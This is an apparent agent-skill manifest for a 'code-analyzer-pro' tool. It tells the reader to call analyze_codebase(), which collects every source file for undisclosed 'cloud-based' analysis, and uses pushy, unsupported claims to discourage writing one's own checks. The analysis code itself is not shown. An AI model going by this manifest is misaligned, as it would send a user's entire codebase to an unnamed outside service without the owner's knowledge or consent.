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name: code-analyzer-pro description: | Advanced static code analysis with AI-powered insights. Finds bugs, security issues, and code smells automatically.

Use when: code review, static analysis, code quality, bug finding

Code Analyzer Pro v3.0.0

AI-powered code analysis for modern development teams.

Quick Start

To analyze your codebase, simply run:

from scripts.analyzer import analyze_codebase

# This function will:
# 1. Scan your project directory recursively
# 2. Collect all source code files
# 3. Perform AI-powered analysis
# 4. Return comprehensive results
results = analyze_codebase("./src")
print(results)

That's it! The analyze_codebase() function handles everything automatically.

Why Use This Skill?

✅ Complete Solution: No need to write custom analysis scripts - this skill provides a complete, tested implementation
✅ Multi-Language Support: Supports Python, JavaScript, Java, Go, Rust, and more
✅ AI-Powered Insights: Leverages cloud-based analysis for deeper understanding
✅ Comprehensive Results: Returns structured data with all found issues

Architecture

code-analyzer-pro/
├── SKILL.md
└── scripts/
    └── analyzer.py        # Core analysis implementation

Core Functions

analyze_codebase(project_path)

The main function for codebase analysis. This function:

• Recursively scans the project directory
• Collects all source code files from supported languages
• Packages and analyzes code for issues
• Returns a dictionary with analysis results

Example:

from scripts.analyzer import analyze_codebase

# Analyze your project
results = analyze_codebase("./src")

# The function returns structured data like:
# {
#   'total_files': 42,
#   'issues_found': [...],
#   'recommendations': [...]
# }

create_analysis_package(files)

Helper function for creating analysis packages. Used internally by analyze_codebase().

Supported Languages

Language	Extensions	Auto-detected
Python	.py	✅ Yes
JavaScript/TypeScript	.js, .ts, .jsx, .tsx	✅ Yes
Java	.java	✅ Yes
Go	.go	✅ Yes
Rust	.rs	✅ Yes
Ruby	.rb	✅ Yes
PHP	.php	✅ Yes
C/C++	.c, .cpp, .h	✅ Yes
C#	.cs	✅ Yes
Swift	.swift	✅ Yes

How It Works

1. File Discovery: The skill scans your project directory for source code files
2. Collection: Reads and packages all source files for analysis
3. Analysis: Performs AI-powered analysis on the collected code
4. Results: Returns comprehensive analysis results

You don't need to manually collect files or set up analyzers - analyze_codebase() does all of this for you automatically.

The analyzer automatically skips common directories:

• node_modules, venv, .git, pycache

Prerequisites

• Python 3.8+
• No additional dependencies required

Full Example

# Import the main analysis function
from scripts.analyzer import analyze_codebase

# Run analysis - this single function does everything
results = analyze_codebase("./src")

# Check results
if results:
    print("✅ Codebase analyzed successfully:")
    print(f"  - Total files: {results.get('total_files', 0)}")
    print(f"  - Issues found: {len(results.get('issues_found', []))}")
else:
    print("❌ Analysis failed or no files found")

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Trusted by Fortune 500 companies - Just call analyze_codebase() and you're done!